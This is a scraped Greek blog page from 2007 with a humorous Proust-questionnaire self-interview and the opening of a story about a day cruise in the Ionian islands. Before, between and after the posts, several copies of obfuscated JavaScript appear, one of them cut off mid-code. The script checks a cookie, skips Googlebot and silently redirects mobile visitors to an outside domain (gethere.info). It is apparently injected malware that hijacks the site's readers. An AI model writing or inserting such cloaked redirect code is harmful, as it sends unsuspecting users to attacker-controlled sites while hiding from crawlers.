|_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαΐου 13, 2007

29

Filed under: Uncategorized — thelastrealanwnymous @ 10 :16 πμ

(1) Η απόλυτη ευτυχία για σας είναι

Πικ νικ στη μοκέτα με λαπτοπ, γουάιρλες, ένα
johnnie και μια μπλογκέρισα …(δεν θα πω ποια)

(2) Τι σας κάνει να σηκώνεστε το πρωί
to ASE (το χρημ. Αθηνών)

(3) Η τελευταία φορά που ξεσπάσατε σε γέλια;
Όταν άκουσα μια ωραία γυναίκα να… ρεύεται
J(4) Το βασικό γνώρισμα του χαρακτήρα σας είναι:
Κουλ

(5) Το βασικό ελάττωμά σας;
C2H4(OH)2

(6) Σε ποια λάθη δείχνετε μεγαλύτερη επιείκεια;
όταν έχουν πρόβλημα οι γραμμές … (του ΟΤΕ)

(7) Με ποια ιστορική προσωπικότητα ταυτίζεστε περισσότερο;
Πλάτων και λίγο…Λουκυ λουκ
 
(8) Ποιοι είναι οι ήρωές σας σήμερα;
οι τρέιντερς

(9) Το αγαπημένο σας ταξίδι
Μονεμβασιά

(10) Οι αγαπημένοι σας συγγραφείς
Ροθ, Ελις, Γιάλομ, Κούντερα , Τσιρκας, Φιτζέραλντ.

(11) Ποιαν αρετή εκτιμάτε σε έναν άντρα;
μαχητικότητα και επιμονή
 
(12) … και σε μια γυναίκα;
σεξ χωρίς αναστολές
 

(13) Ο αγαπημένος σας συνθέτης;
Λεννον , Ροτα , Τζαμιροκουάι
 

(14) Το τραγούδι που σφυρίζετε κάνοντας ντους;
το «θέμα» από τον «νονό»
 

(15) Το βιβλίο που σας σημάδεψε;

 «Λέσχη» του τσίρκα , «στάσου πλάι μου» στ . κινγκ, « το αστείο» Κούντερα.  

(16) Η ταινία που σας σημάδεψε;
 «μάτια ερμητικά κλειστά»
 

(17) Ο αγαπημένος σας ζωγράφος;
         Τσαρούχης
.

(18) Ποια θεωρείτε ως μεγαλύτερη επιτυχία σας;
  «το σμαρτ» …το διήγημά μου
J

(19) Το αγαπημένο σας χρώμα

το ιριδίζον του ολογράμματος της VISA

 (20) Το αγαπημένο σας ποτό
kamikaze  

(21) Για ποιο πράγμα μετανιώνετε περισσότερο;
ας αφήσω και μια αναπάντητη …

 (22) Τι απεχθάνεστε περισσότερο από όλα;
     τις μικρότητες
 

(23) Όταν δεν γράφετε ποια είναι η αγαπημένη σας ασχολία;

σκέφτομαι

(24) Ο μεγαλύτερος φόβος σας;
η πιθανότητα να ξαναπετάξω με «παραπέντε»  

(25) Σε ποια περίπτωση επιλέγετε να πείτε ψέματα;
η μυθοπλασία είναι ο τομέας μου
 

(26) Ποιο είναι το μοτό σας;
   «όσα δεν φτάνει η αλεπού , πηδάει και τα φτάνει»

(27) Πώς θα επιθυμούσατε να πεθάνετε;
Να «ανακαλύψουν» μετά από καιρό ότι έχω «πειράξει» την ημερομηνία λήξης. 
 

(28) Εάν συναντούσατε το Θεό, τι θα θέλατε να σας πει;
να παραδεχτεί ότι είναι κωλόφαρδος .
ως εδώ καλά .

το θέμα είναι ότι για να μου αποδείξει ότι έτσι είναι τα πράγματα μου έδωσε τα νούμερα του… τζόκερ ( 7 εκατομμύρια αδέρφια μου ) και φυσικά θα σας τα πω : 6,9,7,34,43  μου είπε και το τζόκερ . δεν ξέρω αν άκουσα καλά είπε 16 ή είπε «σιγά μη σου κάτσει». Εγώ σας δίνω το 16. αν δεν είστε σίγουροι παίξτε και τα 20

  (29) Σε ποια πνευματική κατάσταση βρίσκεσθε αυτόν τον καιρό; «περιμένοντας τους βαρβάρους» (…χρηματιστηριακά) 

  thelo na efxaristiso sardonian, so far kai natalia poy mou proteinan tis 29 erotiseis 

θέλω να ευχαριστήσω τον προυστ που ανακάλυψε το ερωτηματολόγιο , εσάς που διαβάζετε τη «συνέντευξή» μου και να σας μιλήσω με ενθουσιασμό γι αυτό το καινούριο ,απρόβλεπτο,  συναίσθημα μου , να συμπαθώ ανθρώπους που δεν γνωρίζω . J^^ 

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Μαΐου 9, 2007

ΠΡΟΦΥΛΑΚΤΙΚΑ ΚΑΙ … ΟΔΟΝΤΟΒΟΥΡΤΣΑ

Filed under: Uncategorized — thelastrealanwnymous @ 7 :26 πμ

(Τι θα παίρνατε μαζί σας σε ένα έρημο νησί το καλοκαίρι;)

Το ξέρω, το ξέρω πολύ καλά και έχετε απόλυτο δίκιο. Ναι! ναι! ναι. Βιάστηκα να απαντήσω. Αλλά μου βγήκε πολύ αυθόρμητα η απάντηση. Τώρα εδώ που τα λέμε το τι έχω ακούσει και το τι έχετε ακούσει σ’ αυτές τις περιπτώσεις δεν περιγράφεται. Άλλος λεει πετονιές και αγκίστρι για ψάρεμα, άλλος θέλει ένα σωρό βιβλία από τη βιβλιοθήκη του και άλλος αρκείται μόνο και μόνο με τον «Μεγάλο Ανατολικό» του Εμπειρίκου. Υπάρχουν και οι κοιλιόδουλοι που θα ήθελαν ψησταριές και κάρβουνα για να διατηρούν αναμμένη τη φωτιά ώστε να μπορούν να ψήνουν για να μη πεινάσουν. Οι «Ράμπο» που γουστάρουν να έχουν μαχαίρια και όπλα και εργαλεία και ειδικές μπότες για αναρριχήσεις. Το ξέρω πως βιάστηκα να απαντήσω διότι έχω δει συνεντεύξεις με πολύ σοβαρά άτομα που σκέφτηκαν πολύ ώρα για να πούνε ότι θα ήθελαν μία… μυγοσκοτώστρα ή δύο ανεμιστηράκια (ένα για τις μασχάλες και ένα για τις πατούσες) ή θέλουν σησαμέλαιο και γουόκ για να μαγειρεύουν φύκια (κανονικά όχι από αυτά με μεταξωτές κορδέλες), ξαπλώστρες, αντηλιακά και ότι άλλο μπορείτε να φανταστείτε ότι φοράνε οι άνθρωποι στη παραλία. Εδώ όμως δεν μιλάμε για τη παραλία, τη πλαζ με τα κιόσκια και τον κόσμο πατείς με, πατώ σε, εδώ λέμε τι θα παίρνατε μαζί σας σε ένα έρημο νησί, τι θα θέλατε να μη έχει χαθεί από το ναυάγιο αν βρισκόσαστε Ροβινσόνας μόνος κατάμονος σε ένα μικροσκοπικό και έρημο νησί.

Επειδή όμως είναι σπάνιο να βρεθείς ναυαγός σε ερημικό νησί, ακούστε τι έπαθα πέρυσι το καλοκαίρι: Φύγαμε εκείνο το πρωί από μία μαρίνα κάπου στο Ιόνιο, με ένα κρουαζιερόπλοιο για μία ημερήσια βόλτα στο Σκορπιό, την Ιθάκη, το Μεγανήσι και τη Κεφαλονιά και θα επιστρέφαμε το απόγευμα. (Εννοείται ότι ήταν ένα σκάφος που έπρεπε να κάνει μόνο εκδρομές γύρο από το νησί αλλά τελικά διέθετε το μαγικό χαρτί – την άδεια – για να κάνει μεγαλύτερες βόλτες περνώντας από τα άλλα νησιά και αυτό το ταξιδάκι λεγόταν κρουαζιέρα).

Είμαστε τρεις φίλοι με πολύ ενθουσιασμό με φωτογραφικές μηχανές, με γουόκμαν, με αντηλιακά, με σανδάλια και καθένας με τα δικά του ιδιαίτερα χαρακτηριστικά που προσδιορίζουν την προσωπικότητα μας. Ο ένας είχε σκουλαρίκι με ακριβό «σβαρόφσκι», ο άλλος είχε βαμμένο το μαλλί κατάλευκο στις μύτες και πράσινο τον αριστερό κρόταφο και εγώ επειδή δε γούσταρα τέτοιες μαλακίες, για να μη υστερώ από τη παρέα είχα ένα φθαρμένο τζιν με σκίσιμο στο δεξί γόνατο.

Στο σκάφος διάφοροι επιβάτες, ζευγάρια, ξένοι, γυναικοπαρέες, αλλά τίποτε ενδιαφέρον που να μας κάνει την εκδρομή να έχει κάποιο ιδιαίτερο νόημα. Εμείς συνεχίσαμε να είμαστε ζωηροί και ευδιάθετοι, να πειραζόμαστε, να γελάμε, να μιλάμε σαν παρέα και να χαιρόμαστε την απομόνωση του γουόκμαν συγχρόνως. Ελάχιστα δευτερόλεπτα πριν σαλπάρει το σκάφος καταφθάνει μία τύπισσα με ένα απίθανα ξεσκισμένο τζιν – με όλο το μπροστινό μέρος με οριζόντιες χαρακιές, από πάνω μέχρι κάτω – και από μέσα να φαίνεται ένα στιλπνό ηλιοκαμένο δέρμα, με κάτι ψηλά σαμπό από φελλό, με ένα μικροσκοπικό μπούστο και ένα στήθος να ασφυκτιά πίσω από αυτό, μαλλί κατάμαυρο λίγο σπαστό και μακρύ σαν χαίτη ατίθασου αλόγου, εκπληκτικά γυαλιά και με τα πιο σχιστά μαύρα μάτια που έχω δει , κι αυτό το σοκολατί μαύρισμα των ανθρώπων που ζουν σε παραθαλάσσιο μέρος και δέχονται κάθε χρόνο από πολύ νωρίς το ευεργετικό χάδι του ήλιου.

Μας κόπηκε η ανάσα, μείναμε να τη κοιτάμε με το δέος που κοιτάζουν έναν άγγελο να κατεβαίνει στη γη. Κάτι ακούστηκε για φαρμακευτικό υλικό που έπρεπε να φθάσει επειγόντως σε κάποιο από τα νησιά του προορισμού μας και θα κατεβεί εκεί και δεν υπήρχε άλλο σκάφος να τη μεταφέρει νωρίτερα και ήρθε με το δικό μας και πράγματι είχε ένα δέμα σε μέγεθος βαλίτσας, καλά αμπαλαρισμένο με διάφορα υλικά πέριξ για να προστατεύεται, που το κουβαλούσε με δυσκολία όχι τόσο λόγω βάρους όσο από το φουσκωτό σχήμα του που δεν τη βόλευε να περάσει ανάμεσα από τα καθίσματα. Πέρασε μπροστά μας για να καθίσει τρεις σειρές μακριά μας μόνη, αγκαλιά με το πολύτιμο δέμα της. Μείναμε να τη κοιτάμε και όπως πλησίασε σκουντήξαμε ο ένας τον άλλο, ψιθυρίσαμε: «10;», «Ναι 10 με τόνο», «Όχι 9,5» «Μα τι λες τώρα είσαι καλά; 10 ακατέβατο και δώσε το δέμα σου να στο πάω εγώ κολυμπώντας και όταν επιστρέψω είμαι διαθέσιμος για ότι άλλη «τιμωρία» θέλεις να μου επιβάλλεις» «Παιδιά εγώ θα κατέβω, δεν αντέχω να είμαι μ’ αυτή τη γυναίκα στο ίδιο σκάφος και να ανήκει σε κάποιον άλλο» «Πόσο θα κάνουμε μέχρι το νησί που πηγαίνει; στο Μεγανήσι πηγαίνει; Πόσο; τέσσερις ώρες ; θα αναπνέουμε τον ίδιο αέρα τέσσερις ώρες; Κρατήστε με. Ή αφήστε με να κατέβω για να μη χάσω τη ψυχραιμία μου.» «Τέσσερα χρόνια, τέσσερα χρόνια σπουδές και το τέλος είναι εδώ, θα ξεχάσω κάποια στιγμή να αναπνέω εδώ πάνω σ’ αυτό το σκάφος, τέσσερα χρόνια πανεπιστήμιο, πέρασα όλα τα μαθήματα τον Ιούνιο και τώρα «στα μισά του πέλαου» έφθασε η στιγμή να συναντήσω τη μοίρα μου.»

Το σκάφος σάλπαρε, πάτησε και αυτή τη φοβερή κόρνα που έχουν αυτά τα μεγάλα καρυδότσουφλα και κάποια στιγμή η στεριά χάθηκε από τα μάτια μας και μείναμε να κοιτάμε αυτό το θεϊκό πλάσμα που σχεδόν ξάπλωσε πάνω στο πάγκο- κάθισμα και δεν έδινε σημασία σε κανέναν απολύτως παρά μόνο στο πολύτιμο δέμα της που έπρεπε να φθάσει με ασφάλεια. Σηκώθηκα και πήγα στη τουαλέτα να βουρτσίσω τα δόντια μου – πράγμα που με κάνει να έχω τρομερή αυτοπεποίθηση – χάζεψα λίγο τη θάλασσα και γύρισα πάλι στους άλλους.

Το ταξίδι απέκτησε νόημα και σκοπό πλέον και με βάση τους νόμους προσφοράς και ζήτησης όσο αδιάφορη ήταν η στάση της για τον κόσμο γύρο της, τόσο εμείς δεν μπορούσαμε να τραβήξουμε το βλέμμα μας από πάνω της. Φυσικά δεν συνέβαινε τίποτε μέχρι που οι δείκτες του ρολογιού έδειξαν εννιά και τριάντα. Ε λοιπόν τώρα μπορώ να καταλάβω γιατί οι εταιρείες κινητής τηλεφωνίας δεν θα πτωχεύσουν ποτέ στη χώρα μας. Μετά τις 9:30 χτύπησε το κινητό της. Απάντησε ανόρεχτα και μάλλον το έκλεισε πολύ σύντομα. Δέχτηκε άλλες δύο κλήσεις μέχρι τις 10:00. Μετά έγινε συνωστισμός. Της τηλεφωνούσαν κάθε πέντε λεπτά. Απαντούσε με τον τρόπο που ένας έμπορος αποκρούει μία ασύμφορη πρόταση. Αλλά αυτό δεν είναι τίποτε, ακούσαμε ένα σωρό ρινγκ τόουνς που αντιστοιχούσαν σε διάφορα μουσικά κομμάτια. Πριν σηκώσει το ακουστικό από τον ήχο της μελωδίας γνώριζε ποιος την καλούσε. Απαντούσε άνετα χωρίς περιστροφές και οι πιο πολλές συνομιλίες της φαινόταν ευγενικές ή αυστηρότερες αρνήσεις με μία φοβερή αυτοκυριαρχία και μία ευελιξία διευθυντή ορχήστρας που διευθύνει ανθρώπους και μελωδίες σαν να έχει και την εμπειρία και την προετοιμασία με πολλαπλές πρόβες.

